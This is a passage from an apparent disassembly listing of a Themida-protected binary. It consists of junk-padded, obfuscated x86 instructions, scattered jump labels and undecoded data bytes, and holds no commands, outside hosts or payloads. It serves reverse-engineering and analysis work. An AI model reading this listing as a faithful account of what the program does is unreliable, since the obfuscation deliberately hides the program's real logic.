		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	7CFEh
		jmp	loc_55A2C5
; ---------------------------------------------------------------------------


loc_55EE35:				; CODE XREF: Themida_:0055B041j
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_555F37
; ---------------------------------------------------------------------------
		db 89h
		dd 2AB9240Ch, 893BDC44h, 370559C8h, 31F8640Fh, 0BB5358C7h
		dd 302B0FC8h, 3E5ECB81h, 0EBC1367Bh, 8CB8108h, 0C1645402h
		dd 0F38108E3h, 7A966626h, 0E95BDF31h, 1F7Ah, 4BAh, 9318E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55EE8E:				; CODE XREF: Themida_:0055B09Fj
		mov	eax, 4
		add	[esp+4], eax
		pop	eax
		mov	edi, [esp]
		add	esp, 4
		push	969h
		mov	[esp], ecx
		push	edi
		mov	edi, 4
		jmp	loc_556249
; ---------------------------------------------------------------------------
		db 29h,	0CAh, 59h
		dd 5C241487h, 52241C89h, 71492DBAh, 23EA816Eh, 81329825h
		dd 0BF6885EAh, 86DE965h, 61BF0000h, 31D0A6A8h, 243C8BFBh
		dd 0E904C483h, 0FFFFAE37h, 8904EC83h, 0AD682434h, 0E90F5610h
		dd 3847h
; ---------------------------------------------------------------------------


loc_55EEF4:				; CODE XREF: Themida_:00556403j
		sub	esi, ecx
		pop	ecx
		sub	edx, 3E493153h
		add	edx, esi
		add	edx, 3E493153h
		pop	esi
		jmp	loc_56A0D7
; ---------------------------------------------------------------------------
		db 0B2h
		dd 66D0005Ah, 2CD8005Ah, 0D8005B5Ah, 0E94EB353h, 0FFFFCEF5h
		dd 0C8E9E289h
		db 97h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55EF27:				; CODE XREF: Themida_:0055B9B7j
		add	esp, 4
		jmp	loc_56A998
; ---------------------------------------------------------------------------
		dw 0F381h
		dd 48CC2DB4h, 0D2B95153h, 891F750Ch, 35E959CBh,	68FFFFBAh
		dd 270h, 68240489h, 618F0082h, 582434FFh, 4C6568h, 240C8900h
		dd 0A3CDE954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EF66:				; CODE XREF: Themida_:00562FA7j
		add	esp, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], esi
		push	ecx
		push	23AD0F63h
		pop	ecx
		xor	ecx, 7D8034BDh
		jmp	loc_55A3DC
; ---------------------------------------------------------------------------
		db 5, 14h, 9
aL@s		db 'L@é',27h,'¿',0
		dw 100h
		dd 5F08247Ch, 24148B59h, 0E904C483h, 0FFFF9C44h, 5024248Bh
		dd 405E089h, 53000000h,	4D3675BBh, 71EB8170h, 29704D36h
		dd 0AFCEE9D8h, 0C330000h, 240C3124h, 8B240C33h,	3E92424h
		db 0C0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EFDB:				; CODE XREF: Themida_:0055C5F8j
		xor	eax, ecx
		push	2353h
		jmp	loc_55F7BC
; ---------------------------------------------------------------------------
		db 51h
		dd 0CA88F988h, 241C8B59h, 7FFBE9h
		db 0
; ---------------------------------------------------------------------------


loc_55EFF5:				; CODE XREF: Themida_:0055711Cj
		shr	al, 5
		sub	al, 35h
		sub	bl, al
		pop	eax
		push	dword ptr [esp]
		jmp	loc_560A02
; ---------------------------------------------------------------------------
		db 83h,	4, 24h
		dd 24148B04h, 0D4A5E956h, 0C481FFFFh, 2, 0BF665766h, 166C7D6h
		dd 555F66F8h, 52C58966h, 6B92E9h, 24148900h, 4BAh, 5AD62900h
		dd 2474FF56h, 48F5E04h,	0CFBDE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F046:				; CODE XREF: Themida_:0055A0B0j
		xor	[esp+4], esi
		pop	esi
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_56743E
; ---------------------------------------------------------------------------
		dw 489h
		dd 57DFB824h, 44015CD0h, 5B580824h, 0FF6C5BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F069:				; CODE XREF: Themida_:0055FAE0j
		push	eax
		jmp	loc_5590CD
; ---------------------------------------------------------------------------


loc_55F06F:				; CODE XREF: Themida_:00555FFDj
		mov	ebx, [esp]
		add	esp, 4
		and	ecx, ebp
		pop	ebp
		shr	ecx, 2
		push	eax
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		push	ebx
		mov	ebx, 4
		add	[esp+4], ebx
		pop	ebx
		mov	eax, [esp]
		jmp	loc_5651BA
; ---------------------------------------------------------------------------
		db 52h,	0E9h, 6Bh
		dd 0C1FFFFF4h, 0ED8104E5h, 2F3F2355h, 8E5C14Dh,	81B85057h
		dd 89633F56h, 24048BC7h, 2C36E9h, 2434FF00h, 2B27E9h
		db 0
; ---------------------------------------------------------------------------


loc_55F0C5:				; CODE XREF: Themida_:0055CA5Cj
		xchg	ebx, [esp]
		pop	esp
		push	esi
		push	4
		mov	esi, [esp]
		push	esi
		push	esp
		pop	esi
		jmp	loc_56234D
; ---------------------------------------------------------------------------
		dw 3D2Dh
		dd 0E94C2009h, 0FFFFFEADh, 0E95BDA01h, 12D3h, 53243489h
		dd 293B4268h, 0F36E947h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F0FA:				; CODE XREF: Themida_:0055EB7Aj
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_5571BD
; ---------------------------------------------------------------------------
		dd 1D7668h, 24048900h, 5E97E9h,	0CCF58100h, 68527950h
		dd 6EF7h, 0B9240C89h, 60CE11A7h, 2CDCF181h, 0C1817027h
		dd 1F41383Fh, 1174B850h, 0C5295A03h, 53CD2958h,	31174BBh
		dd 0DFEAE95Ah, 4BFFFFFh, 0E9000000h, 0FFFFABA7h, 148BD631h
		dd 4C48124h, 1000000h, 0AEE95EF1h
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F163:				; CODE XREF: Themida_:0055E40Ej
		push	edx
		push	eax
		push	ecx
		mov	ecx, 28466080h
		jmp	loc_55E3EB
; ---------------------------------------------------------------------------


loc_55F170:				; CODE XREF: Themida_:0056A35Bj
		dec	ecx
		jmp	loc_566269
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 62F37958h, 6A4868h, 242C8900h, 0B096852h, 57E93C68h
		dd 6600008Bh, 6824048Bh, 4C85h,	52242C89h, 0C281E289h
		dd 4, 0FFC3F7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F1A9:				; CODE XREF: Themida_:005684DFj
		dec	edx
		jmp	loc_556FEB
; ---------------------------------------------------------------------------
		db 81h
		dd 0E72CECC2h, 0D443E96Ah, 48FFFFFh, 0CA58E924h, 0EC81FFFFh
		dd 2, 24148966h, 0FFA5EEE9h, 0BF5758FFh, 32C600D0h, 2029C781h
		dd 504F02A2h, 0B8h, 50F82900h, 67A8E9h,	5DEB2900h, 6FBAC381h
		dd 0D30137B2h, 6FBAEB81h, 0C38137B2h, 4AE44C27h, 623BE9h
		db 0
; ---------------------------------------------------------------------------


loc_55F209:				; CODE XREF: Themida_:0056649Dj
		push	eax
		jmp	loc_55F4F6
; ---------------------------------------------------------------------------
		db 1
		dd 241C8BDEh, 0FF7759E9h, 79A6BFFFh, 0EFC176F2h, 0FCE78107h
		dd 8112266Eh, 696441CFh, 7D43E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F232:				; CODE XREF: Themida_:00565EFEj
		pop	dword ptr [esp]
		xchg	eax, ebx
		not	eax
		xchg	eax, ebx
		jmp	loc_559D55
; ---------------------------------------------------------------------------


loc_55F23E:				; CODE XREF: Themida_:0055AC9Ej
		push	edx
		mov	edx, 4EC33709h
		jmp	loc_55A005
; ---------------------------------------------------------------------------


loc_55F249:				; CODE XREF: Themida_:0055F310j
		mov	ebx, 0FFFFFFFFh
		sub	esi, ebx
		pop	ebx
		or	esi, 29BC53B1h
		add	esi, 0DB7CAA8Bh
		jmp	loc_55C6BC
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 4, 7940EB81h, 0F3291D66h, 7940C381h,	348B1D66h, 0E3895324h
		dd 162EBE56h, 0D6F72FFEh, 5A32EE81h, 13E94251h
		db 2Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55F28F:				; CODE XREF: Themida_:0055A578j
		shr	ebp, 3
		push	edi
		sub	esp, 4
		mov	[esp], ecx
		push	edi
		jmp	loc_56A41C
; ---------------------------------------------------------------------------
		dw 8350h
		dd 248904ECh, 0BEC3E924h, 0C4810000h, 4, 22E9D031h
		db 9Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55F2BB:				; CODE XREF: Themida_:00568AC3j
		push	ebx
		jmp	loc_55A515
; ---------------------------------------------------------------------------


loc_55F2C1:				; CODE XREF: Themida_:00562D86j
		add	esp, 4
		push	ecx
		mov	ecx, esp
		push	111Bh
		mov	[esp], edx
		mov	edx, 4
		sub	ecx, 4FB436E6h
		add	ecx, edx
		push	edi
		jmp	loc_55E7F9
; ---------------------------------------------------------------------------


loc_55F2E2:				; CODE XREF: Themida_:0055A818j
		add	esi, 0FAF512DAh
		jmp	loc_55AF17
; ---------------------------------------------------------------------------
		db 89h,	0E6h, 81h
		dd 4C6h, 0B3EEE900h, 0D788FFFFh, 34E9F988h, 81FFFFE9h
		dd 0FD2539F2h, 82CEE9C4h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F30E:				; CODE XREF: Themida_:005684CCj
		pop	eax
		push	ebx
		jmp	loc_55F249
; ---------------------------------------------------------------------------


loc_55F315:				; CODE XREF: Themida_:0055819Aj
		pop	esp
		mov	ecx, [esp]
		jmp	loc_565D45
; ---------------------------------------------------------------------------
		dw 6855h
		dd 3A636411h, 81DDF75Dh, 0E869C6CDh, 69ED815Bh,	81695D5Fh
		dd 0F538CBEDh, 8BE98915h, 0D1E9242Ch, 58000078h, 3B9BE9h
		dd 0C2F68000h, 0FFCAE2E9h, 2434FFFFh, 0A3F1E958h, 34FF0000h
		dd 89575B24h, 4C781E7h,	81000000h, 4C7h, 9D92E900h, 77FFFFFFh
		dd 58669D1Ch, 9C240418h, 0FF6943E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F381:				; CODE XREF: Themida_:0055F59Cj
		pop	eax
		jmp	loc_558EE3
; ---------------------------------------------------------------------------


loc_55F387:				; CODE XREF: Themida_:0055E420j
		sub	ecx, 3B45471Eh
		sub	ecx, ebx
		add	ecx, 3B45471Eh
		pop	ebx
		push	ecx
		pop	edi
		mov	ecx, [esp]
		add	esp, 4
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_560C6C
; ---------------------------------------------------------------------------
		db 0BFh, 4, 0
		dd 0FB290000h, 9F91E9h,	0E9EB0100h, 5A91h, 0E9243C89h
		dd 0B005h, 0FF1C4709h, 48B2434h, 4C48324h, 4C481h, 0E9E90000h
		db 68h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F3DB:				; CODE XREF: Themida_:0055D08Ej
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 4
		jmp	loc_55E24A
; ---------------------------------------------------------------------------
		db 0F7h, 0D7h, 0F7h
		dd 72C781DFh, 89482EDAh, 7583E9FBh, 0DE010000h,	0C2C4E95Bh
		dd 0BB53FFFFh, 17F945F8h, 7896E381h, 0AEE93883h
		db 7Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55F427:				; CODE XREF: Themida_:0055C534j
		shl	edx, 3
		shl	edx, 4
		xor	edx, 0A03C0E84h
		add	ecx, edx
		pop	edx
		jmp	loc_55DD2B
; ---------------------------------------------------------------------------
		db 89h
		dd 0E950240Ch, 8E55h
; ---------------------------------------------------------------------------


loc_55F444:				; CODE XREF: Themida_:0055EC53j
		add	ebx, 26F14512h
		add	ebx, ebp
		sub	ebx, 26F14512h
		pop	ebp
		push	ebp
		mov	ebp, 129E74CBh
		jmp	loc_559D02
; ---------------------------------------------------------------------------
		dw 0C388h
		dd 0E95BD988h, 1A2Bh, 0EA814A4Ah, 6E9C5130h, 0EF61BE56h
		dd 0F231B82Ah, 0E9D5315Eh, 8E88h
; ---------------------------------------------------------------------------


loc_55F480:				; CODE XREF: Themida_:00555D49j
		mov	esi, 3CD7A9Fh
		not	esi
		add	esi, 4A93BF8Ch
		add	ebp, esi
		pop	esi
		add	ebp, 28C9C0B0h
		mov	ecx, ebp
		jmp	loc_568095
; ---------------------------------------------------------------------------


loc_55F49D:				; CODE XREF: Themida_:0056619Ej
		push	edi
		xor	dword ptr [esp], 3023102Fh
		pop	eax
		push	ebx
		jmp	loc_569B06
; ---------------------------------------------------------------------------
		dd 534FFB31h, 5699E9h
		db 0
; ---------------------------------------------------------------------------


loc_55F4B5:				; CODE XREF: Themida_:00566F38j
		pop	ebp
		push	edi
		mov	edi, 2ACB4BBFh
		and	edi, 47D848E2h
		xor	edi, 174A486Ah
		jmp	loc_5657EC
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 4
		dd 81000000h, 0B92993EEh, 0E9FE0115h, 0A8A3h, 8B24048Fh
		dd 8B662424h, 50E92404h, 1000000h, 8D75E9EFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F4F6:				; CODE XREF: Themida_:0055F20Aj
		push	ebp
		jmp	loc_562F7B
; ---------------------------------------------------------------------------
		dd 1BE9525Ch, 88FFFF7Bh, 0ED8058E5h, 0F6516682h, 66012454h
		dd 0E9DDF659h, 3A4h, 0C06DCE80h, 26E902EEh, 5BFFFFFEh
		dd 0EB23EB81h, 0DD317546h, 5B2434FFh, 0D173E957h, 5166FFFFh
		dd 2E975B1h, 83FFFFA0h,	48904ECh, 9195E924h, 0D6F6FFFFh
		dd 5054EE80h, 2EE964B0h
		db 0B7h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F557:				; CODE XREF: Themida_:0055E081j
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edi
		push	eax
		mov	eax, 174E266Ch
		dec	eax
		xchg	eax, ebx
		dec	ebx
		push	16D3h
		mov	[esp], eax
		push	761Fh
		mov	[esp], ebx
		pop	eax
		pop	ebx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 164E266Ah
		mov	edx, eax
		push	dword ptr [esp]
		jmp	loc_55F381
; ---------------------------------------------------------------------------
		db 54h,	5Dh, 81h
		dd 4ECh, 24048900h, 4B8h, 58C50100h, 0E904C583h, 0AB20h
		dd 5E5C159h, 0E9D5F74Dh, 0FFFF799Ch, 6153E95Dh,	0E9570000h
		dd 79F4h
; ---------------------------------------------------------------------------


loc_55F5D4:				; CODE XREF: Themida_:0055BC70j
		pop	esp
		mov	[esp], ebp
		jmp	loc_559DB7
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 13E1E9h
		db 0
; ---------------------------------------------------------------------------


loc_55F5E5:				; CODE XREF: Themida_:00564E9Bj
		mov	edx, 69CDEFFh
		add	ebp, edx
		jmp	loc_56A77D
; ---------------------------------------------------------------------------
		db 31h,	0DFh, 5Bh
		dd 12E068h, 6D68E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F5FE:				; CODE XREF: Themida_:005631B7j
		pop	edi
		add	edi, 1
		jmp	loc_55D88E
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0FF8CF7E9h, 4C483FFh, 0BEB75359h,	15F68h,	24048900h
		dd 0B408E9h
		db 0
; ---------------------------------------------------------------------------


loc_55F629:				; CODE XREF: Themida_:00563C33j
		sub	eax, esi
		pop	esi
		push	275Bh
		mov	[esp], ebp
		jmp	loc_55C085
; ---------------------------------------------------------------------------
		db 66h,	8Fh, 4
aS_c		db '$é.c',0
		align 2


loc_55F642:				; CODE XREF: Themida_:0055B124j
		xchg	eax, [esp]
		pop	esp
		sub	al, 0AAh
		sub	al, bl
		add	al, 0AAh
		push	ebx
		mov	bh, 0A1h
		inc	bh
		jmp	loc_56A294
; ---------------------------------------------------------------------------
		dw 5F54h
		dd 4C781h, 0BE560000h, 2, 348BF701h, 4C48124h, 33000000h
		dd 3C31243Ch, 243C3324h, 8324248Bh, 0BEE904ECh
		db 95h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55F683:				; CODE XREF: Themida_:00560546j
		xor	edx, 9420176h
		and	edx, 6BA52A46h
		xor	edx, 5A47127Bh
		neg	edx
		shr	edx, 1
		add	edx, 2EB64EF0h
		inc	edx
		jmp	loc_55F8F1
; ---------------------------------------------------------------------------


loc_55F6A5:				; CODE XREF: Themida_:0056038Cj
		add	bl, 9Eh
		pop	eax
		add	bl, 5
		jmp	loc_56319D
; ---------------------------------------------------------------------------
		db 0C1h, 0E5h, 7
		dd 378BBF57h, 0D7F7398Ch, 0D2AC781h, 0F7811615h, 0C4D0C542h
		dd 0E95FFD21h, 0FFFF8234h
; ---------------------------------------------------------------------------


loc_55F6D0:				; CODE XREF: Themida_:0055E6E3j
		xchg	eax, [esp]
		pop	esp
		push	eax
		mov	eax, 24h
		add	eax, edi
		add	[eax], ecx
		pop	eax
		jmp	loc_5672F0
; ---------------------------------------------------------------------------


loc_55F6E4:				; CODE XREF: Themida_:005677D2j
		pop	edx
		jmp	loc_5569A9
; ---------------------------------------------------------------------------
		dw 8758h
		dd 0E95C243Ch, 6018h
; ---------------------------------------------------------------------------


loc_55F6F4:				; CODE XREF: Themida_:0056A6B2j
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_563AE3
; ---------------------------------------------------------------------------
		db 83h
		dd 896602ECh, 76B02404h, 8B66C328h, 0E1E92404h,	81FFFF9Ah
		dd 345B99EEh, 241C8B5Ah, 4C481h, 0E9560000h, 5D97h, 17BCF681h
		dd 91E92318h
		db 7Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F737:				; CODE XREF: Themida_:00563F15j
		pop	dword ptr [esp]
		jmp	loc_55EC14
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0BD5505EAh, 21F5929h, 575DEA21h, 0EFB6FABFh,	0FFFA01FDh
		dd 3C8B2434h, 0E8A5E924h, 0EC83FFFFh, 24148904h, 81242C8Bh
		dd 4C4h, 6FE95A00h, 8BFFFF86h, 0C483240Ch, 4C48304h, 5304C483h
		dd 985411BBh, 0E9D90134h, 0FFFFD526h, 4C481h, 68520000h
		dd 442313C9h, 0FFCCCBE9h, 24248BFFh, 9C2404FEh,	0FF651BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F7A9:				; CODE XREF: Themida_:0056207Dj
		mov	edx, 24D400Dh
		not	edx
		jmp	loc_56217C
; ---------------------------------------------------------------------------
		db 0FEh, 0CAh, 0E9h
		dd 0FFFF99D3h
; ---------------------------------------------------------------------------


loc_55F7BC:				; CODE XREF: Themida_:0055EFE2j
		mov	[esp], eax
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_568A98
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 4
		dd 1000000h, 240C8BCFh,	4C481h,	12E90000h, 0B8000044h
		dd 4, 4244401h,	2B85E958h, 14870000h, 4909E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F7FA:				; CODE XREF: Themida_:00561876j
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_555EA7
; ---------------------------------------------------------------------------
		dd offset dword_445750+9E18h
		dw 8900h
		dd 33BA2414h, 562FD45Eh, 0EC6170BEh, 0E9D6F75Ah, 0FFFFA5E0h
		dd 81242C8Bh, 4C4h, 241C8B00h, 0E904C483h, 0A086h
; ---------------------------------------------------------------------------


loc_55F834:				; CODE XREF: Themida_:005588EBj
		push	2FDFh
		mov	[esp], ebp
		jmp	loc_56107C
; ---------------------------------------------------------------------------
aIrs5		db '䈎5[',0
		align 4
		dd 4EFC159h, 2B5DEF81h,	0C7813D1Bh, 3C1A6550h, 1465EA81h
		dd 0FA0176F1h, 1465C281h, 335F76F1h, 57E92414h,	5BFFFF8Dh
		dd 2404875Fh, 0E924248Bh, 4B0Ch
; ---------------------------------------------------------------------------


loc_55F87C:				; CODE XREF: Themida_:0056A7FCj
		pop	ecx
		jmp	loc_558754
; ---------------------------------------------------------------------------


loc_55F882:				; CODE XREF: Themida_:0055E6C2j
		xor	eax, [esp]
		pop	esp
		jmp	loc_5671BE
; ---------------------------------------------------------------------------
		db 89h
		dd 0A004E9F3h, 8195FFFFh, 271F0DE5h, 0BE564D04h, 7231561h
		dd 3BD4BB53h, 64E9398Ch
		db 2Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55F8AB:				; CODE XREF: Themida_:00558831j
		or	ecx, 3D4A68B5h
		jmp	loc_569A1F
; ---------------------------------------------------------------------------
aSdz		db '\éd‡',0
		align 4
		dd 0F616CD80h, 2723E9D5h, 0E2890000h, 4C281h, 0EA810000h
		dd 4, 5C241487h, 55242489h, 4BDh, 877BE900h, 0EC800000h
		dd 4BC280D3h, 0FF8965E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F8F1:				; CODE XREF: Themida_:0055F6A0j
		sub	edx, 9252B5D0h
		sub	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 12B14EF4h
		inc	esi
		shl	esi, 6
		not	esi
		push	ebx
		jmp	loc_56082B
; ---------------------------------------------------------------------------


loc_55F912:				; CODE XREF: Themida_:0056A25Fj
		add	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5615F0
; ---------------------------------------------------------------------------
aXsP		db 'Xé+¯',0
		align 4
		dd 8033B551h, 0E5C02AF5h, 0EAB35305h, 8005EBC0h, 0DD20F2EBh
		dd 83241C8Bh, 0ED8004C4h, 39E950FFh, 660000B8h,	0E924048Fh
		dd 0FFFF6370h, 3BE94A59h, 0B9FFFF86h, 18DE2EA6h, 0FFBC21E9h
		dd 2E49BDFFh, 0F5813A5Ch, 20F86814h, 73BDE581h,	0DDF765BBh
		dd 0C581D5F7h, 0FF5FBDE8h, 835DE901h, 0C3304C1h, 240C3124h
		dd 8B240C33h, 96E92424h, 8300001Ch, 0D9E904C4h,	58FFFF6Eh
		dd 0FFC389E9h, 2B951FFh, 1000000h, 3C3359CFh, 243C3124h
		dd 8B243C33h, 0F662424h, 5166C8AFh, 62FEE99Ch, 0C268FFFFh
		dd 89000066h, 0E2892414h, 4C281h, 0C2810000h, 2, 2474FF52h
		dd 9F68E904h, 0DF29FFFFh, 48E9FB89h, 5B000098h,	148BD601h
		dd 264FE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_563887
; ---------------------------------------------------------------------------
		dd 815FF929h, 0F469B6E9h, 0BD78E9C1h, 5659FFFFh, 4BE9E689h
		dd 33FFFF90h, 1C31241Ch, 241C3324h, 5CE2255Ch, 0F46822FAh
		dd 8900000Dh, 57BA2414h, 3178254Bh, 8524E9D0h, 1C89FFFFh
		dd 34FF5424h, 7A41E924h, 49BA0000h, 56270A23h, 0FFAE4EE9h
		dd 6E3C1FFh, 603CEB81h,	0D90135FBh, 4C1815Bh, 87000000h
		dd 36E9240Ch
		db 6Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55FA73:				; CODE XREF: Themida_:00561EE8j
		xor	esi, 779865B6h
		sub	ecx, 67FB2EC7h
		sub	ecx, esi
		add	ecx, 67FB2EC7h
		pop	esi
		sub	eax, ecx
		pop	ecx
		add	eax, edi
		add	eax, 39B03BE4h
		mov	edi, [esp]
		jmp	loc_55AE4E
; ---------------------------------------------------------------------------


loc_55FA9A:				; CODE XREF: Themida_:0055B5FAj
		pop	ebp
		jmp	loc_5619D3
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 0BBE9241Ch, 52000055h, 0FF772CE9h, 4C483FFh
		dd 21A3B951h, 0D9F75BCAh, 0FFD819E9h, 4BEA80FFh, 0F6D2F658h
		dd 1EA80D2h, 0FFA7D4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55FAD1:				; CODE XREF: Themida_:0056734Bj
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_55F069
; ---------------------------------------------------------------------------


loc_55FAE5:				; CODE XREF: Themida_:00562A19j
		add	edx, esi
		add	edx, 433041F2h
		mov	esi, [esp]
		add	esp, 4
		sub	edx, 42C22809h
		add	edx, edi
		push	ecx
		mov	ecx, 42C22809h
		add	edx, 42B013AAh
		add	edx, ecx
		sub	edx, 42B013AAh
		pop	ecx
		jmp	loc_56A7DA
; ---------------------------------------------------------------------------


loc_55FB18:				; CODE XREF: Themida_:00557233j
		mov	[esp], ax
		jmp	loc_555CC4
; ---------------------------------------------------------------------------
aZyss		db 'ZYé™$',0
		align 4
		dd 24048B66h, 0E9E08950h, 0B5E6h, 57294CBAh, 0E9D0016Dh
		dd 540Dh, 24AEC281h, 0EA812107h, 0C58A30E6h, 0D9E9D001h
		dd 81000069h, 4C4h, 0E9008F00h,	0FFFF6164h, 36657EBFh
		dd 814F4711h, 8DB95DC7h, 8042E9F8h, 14890000h, 866AE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55FB7A:				; CODE XREF: Themida_:0055877Cj
		mov	[esp], eax
		mov	al, 76h
		sub	al, 0D7h
		shl	al, 4
		neg	al
		xor	al, 6Ch
		add	al, 36h
		jmp	loc_55767B
; ---------------------------------------------------------------------------
		db 5Eh
		dd 623ED81h, 33E9D0C7h
		db 42h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55FB9B:				; CODE XREF: Themida_:00566E18j
		mov	edi, 1Ch
		jmp	loc_567DC9
; ---------------------------------------------------------------------------
		db 31h,	4, 24h
		dd 5C240433h, 83241C89h, 248904ECh, 24048124h, 4, 81241C8Bh
		dd 4C4h, 886CE900h, 1590000h, 24348BF2h, 3AAE9h, 0D6E6800h
		dd 1C890000h, 54E66824h, 0ABE90000h, 81FFFF90h,	8371E2EEh
		dd 6DE95F33h, 5BFFFFBCh, 8B242C87h, 3C892424h, 0B9515324h
		dd 45340007h, 8359CB89h, 148904ECh, 89DA8924h, 642EE9D7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55FC16:				; CODE XREF: Themida_:00567019j
		add	esi, 5A8724F8h
		sub	esi, 53564FCFh
		sub	esi, edi
		add	esi, 53564FCFh
		sub	esi, 5A8724F8h
		jmp	loc_559BCA
; ---------------------------------------------------------------------------


loc_55FC35:				; CODE XREF: Themida_:0055A0BBj
		sub	edx, 1
		shr	edx, 1
		push	ebp
		mov	ebp, 1AEC4EA7h
		add	edx, ebp
		pop	ebp
		jmp	loc_55622F
; ---------------------------------------------------------------------------
		db 81h
		dd 0A00DEBEFh, 41C78126h, 29480F05h, 7D99E9EFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FC5E:				; CODE XREF: Themida_:00564CF2j
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	60A4h
		mov	[esp], eax
		mov	eax, 0E005049h
		shl	eax, 3
		add	eax, 6A0225F0h
		shr	eax, 5
		sub	eax, 1FAD2B55h
		add	eax, 18DD0613h
		push	ebx
		mov	ebx, 748E6032h
		sub	[esp+8], ebx
		pop	ebx
		add	dword ptr [esp+4], 16C40593h
		push	esi
		push	ebp
		mov	ebp, 42120E48h
		mov	esi, ebp
		pop	ebp
		add	[esp+8], esi
		pop	esi
		sub	[esp+4], eax
		sub	dword ptr [esp+4], 42120E48h
		jmp	loc_55A0F6
; ---------------------------------------------------------------------------


loc_55FCBA:				; CODE XREF: Themida_:0055A169j
		mov	esi, 736D6EE8h
		mov	ecx, esi
		pop	esi
		jmp	loc_559197
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0F9E9241Ch, 50000095h, 9914F7B8h, 67E0357Fh,	52050E89h
		dd 0E92C216Dh, 0FFFFF07Bh, 0C105E0C1h, 0EC3502E8h, 0E97AB3ACh
		dd 0FFFFE392h
; ---------------------------------------------------------------------------


loc_55FCF4:				; CODE XREF: Themida_:00560DC2j
		and	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_561A8C
; ---------------------------------------------------------------------------
		db 0FFh
		dd 34FF3C77h, 2434FF24h
		db 58h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5610AC
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 0A4h
		dd 814E5A07h, 615E62EEh, 0DDB9E93Fh, 0C481FFFFh, 4, 4B850h
		dd 0F2E90000h, 5EFFFF65h, 685FFB01h, 4DDDh, 0FF241C89h
		dd 0FF042474h, 34FF2434h, 0C4815B24h, 4, 8F04C483h, 0C15C2404h
		dd 3EE908E8h
		db 9Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55FD5F:				; CODE XREF: Themida_:00556A1Ej
		sub	dl, 0B0h
		shr	dl, 2
		add	dl, 24h
		jmp	loc_55C09F
; ---------------------------------------------------------------------------
		db 0E9h, 52h, 5Fh
		dd 0D101FFFFh, 71A8C181h, 148B7847h, 8F27E924h,	0E9830000h
		dd 0E976E904h, 0C181FFFFh, 9A83D735h, 0B118C605h, 2DC82926h
		dd 26B118C6h, 2D512D59h, 0C12D7F0Ah, 177965Dh, 6038E9D0h
